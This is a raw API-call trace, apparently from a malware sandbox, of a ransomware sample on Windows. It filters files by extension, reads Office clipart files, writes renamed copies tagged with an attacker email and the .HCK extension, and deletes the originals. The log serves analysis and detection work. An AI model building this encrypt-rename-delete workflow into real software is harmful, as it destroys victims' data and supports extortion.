lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.064] lstrlenW (lpString=".7z") returned 3 [0179.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.064] lstrlenW (lpString=".dbf") returned 4 [0179.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.064] lstrlenW (lpString=".1cd") returned 4 [0179.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.064] lstrlenW (lpString=".jpg") returned 4 [0179.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.065] lstrlenW (lpString=".doc") returned 4 [0179.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.065] lstrlenW (lpString=".docx") returned 5 [0179.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.065] lstrlenW (lpString=".pdf") returned 4 [0179.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.065] lstrlenW (lpString=".xls") returned 4 [0179.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.065] lstrlenW (lpString=".xlsx") returned 5 [0179.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.065] lstrlenW (lpString=".ppt") returned 4 [0179.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.065] lstrlenW (lpString=".zip") returned 4 [0179.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.065] lstrlenW (lpString=".rar") returned 4 [0179.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.065] lstrlenW (lpString=".bz2") returned 4 [0179.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.065] lstrlenW (lpString=".7z") returned 3 [0179.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.065] lstrlenW (lpString=".dbf") returned 4 [0179.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.065] lstrlenW (lpString=".1cd") returned 4 [0179.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 68 [0179.065] lstrlenW (lpString=".jpg") returned 4 [0179.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.065] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.065] lstrlenW (lpString="PE00468_.WMF") returned 12 [0179.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.066] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=23204) returned 1 [0179.066] CloseHandle (hObject=0x3a4) returned 1 [0179.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf")) returned 0x220 [0179.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.069] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.070] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.074] GetLastError () returned 0x0 [0179.074] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5aa4, lpOverlapped=0x0) returned 1 [0179.076] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5ab0, lpOverlapped=0x0) returned 1 [0179.077] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.077] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.077] SetEndOfFile (hFile=0x368) returned 1 [0179.079] CloseHandle (hObject=0x368) returned 1 [0179.080] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.080] SetEndOfFile (hFile=0x2fc) returned 1 [0179.086] CloseHandle (hObject=0x2fc) returned 1 [0179.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf")) returned 1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.088] lstrlenW (lpString=".doc") returned 4 [0179.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.088] lstrlenW (lpString=".docx") returned 5 [0179.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.088] lstrlenW (lpString=".pdf") returned 4 [0179.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.088] lstrlenW (lpString=".xls") returned 4 [0179.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.088] lstrlenW (lpString=".xlsx") returned 5 [0179.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.088] lstrlenW (lpString=".ppt") returned 4 [0179.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.088] lstrlenW (lpString=".zip") returned 4 [0179.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.088] lstrlenW (lpString=".rar") returned 4 [0179.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.088] lstrlenW (lpString=".bz2") returned 4 [0179.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.088] lstrlenW (lpString=".7z") returned 3 [0179.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.088] lstrlenW (lpString=".dbf") returned 4 [0179.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.088] lstrlenW (lpString=".1cd") returned 4 [0179.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.088] lstrlenW (lpString=".jpg") returned 4 [0179.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.088] lstrlenW (lpString=".doc") returned 4 [0179.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.089] lstrlenW (lpString=".docx") returned 5 [0179.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.089] lstrlenW (lpString=".pdf") returned 4 [0179.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.089] lstrlenW (lpString=".xls") returned 4 [0179.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.089] lstrlenW (lpString=".xlsx") returned 5 [0179.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.089] lstrlenW (lpString=".ppt") returned 4 [0179.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.089] lstrlenW (lpString=".zip") returned 4 [0179.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.089] lstrlenW (lpString=".rar") returned 4 [0179.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.089] lstrlenW (lpString=".bz2") returned 4 [0179.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.089] lstrlenW (lpString=".7z") returned 3 [0179.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.089] lstrlenW (lpString=".dbf") returned 4 [0179.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.089] lstrlenW (lpString=".1cd") returned 4 [0179.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 68 [0179.089] lstrlenW (lpString=".jpg") returned 4 [0179.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.089] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.089] lstrlenW (lpString="PE00531_.WMF") returned 12 [0179.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.090] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7908) returned 1 [0179.090] CloseHandle (hObject=0x370) returned 1 [0179.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf")) returned 0x220 [0179.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.093] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.093] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.099] GetLastError () returned 0x0 [0179.099] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1ee4, lpOverlapped=0x0) returned 1 [0179.102] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1ef0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1ef0, lpOverlapped=0x0) returned 1 [0179.103] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.103] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.103] SetEndOfFile (hFile=0x39c) returned 1 [0179.106] CloseHandle (hObject=0x39c) returned 1 [0179.106] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.106] SetEndOfFile (hFile=0x300) returned 1 [0179.108] CloseHandle (hObject=0x300) returned 1 [0179.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf")) returned 1 [0179.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.113] lstrlenW (lpString=".doc") returned 4 [0179.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString=".docx") returned 5 [0179.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.113] lstrlenW (lpString=".pdf") returned 4 [0179.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString=".xls") returned 4 [0179.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.113] lstrlenW (lpString=".xlsx") returned 5 [0179.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.113] lstrlenW (lpString=".ppt") returned 4 [0179.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.113] lstrlenW (lpString=".zip") returned 4 [0179.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.113] lstrlenW (lpString=".rar") returned 4 [0179.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString=".bz2") returned 4 [0179.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString=".7z") returned 3 [0179.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.113] lstrlenW (lpString=".dbf") returned 4 [0179.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.113] lstrlenW (lpString=".1cd") returned 4 [0179.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.113] lstrlenW (lpString=".jpg") returned 4 [0179.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.113] lstrlenW (lpString=".doc") returned 4 [0179.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString=".docx") returned 5 [0179.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.113] lstrlenW (lpString=".pdf") returned 4 [0179.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.113] lstrlenW (lpString=".xls") returned 4 [0179.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.114] lstrlenW (lpString=".xlsx") returned 5 [0179.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.114] lstrlenW (lpString=".ppt") returned 4 [0179.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.114] lstrlenW (lpString=".zip") returned 4 [0179.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.114] lstrlenW (lpString=".rar") returned 4 [0179.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.114] lstrlenW (lpString=".bz2") returned 4 [0179.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.114] lstrlenW (lpString=".7z") returned 3 [0179.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.114] lstrlenW (lpString=".dbf") returned 4 [0179.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.114] lstrlenW (lpString=".1cd") returned 4 [0179.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 68 [0179.114] lstrlenW (lpString=".jpg") returned 4 [0179.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.114] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.114] lstrlenW (lpString="PE00563_.WMF") returned 12 [0179.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.116] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=22128) returned 1 [0179.116] CloseHandle (hObject=0x370) returned 1 [0179.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf")) returned 0x220 [0179.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.121] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.121] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.125] GetLastError () returned 0x0 [0179.125] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5670, lpOverlapped=0x0) returned 1 [0179.127] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5680, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5680, lpOverlapped=0x0) returned 1 [0179.128] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.128] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.128] SetEndOfFile (hFile=0x2fc) returned 1 [0179.131] CloseHandle (hObject=0x2fc) returned 1 [0179.131] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.131] SetEndOfFile (hFile=0x39c) returned 1 [0179.134] CloseHandle (hObject=0x39c) returned 1 [0179.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00563_.wmf")) returned 1 [0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.138] lstrlenW (lpString=".doc") returned 4 [0179.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.138] lstrlenW (lpString=".docx") returned 5 [0179.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.138] lstrlenW (lpString=".pdf") returned 4 [0179.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.138] lstrlenW (lpString=".xls") returned 4 [0179.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.138] lstrlenW (lpString=".xlsx") returned 5 [0179.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.138] lstrlenW (lpString=".ppt") returned 4 [0179.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.138] lstrlenW (lpString=".zip") returned 4 [0179.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.138] lstrlenW (lpString=".rar") returned 4 [0179.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.138] lstrlenW (lpString=".bz2") returned 4 [0179.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.138] lstrlenW (lpString=".7z") returned 3 [0179.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00563_.WMF") returned 68 [0179.138] lstrlenW (lpString=".dbf") returned 4 [0179.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.138] 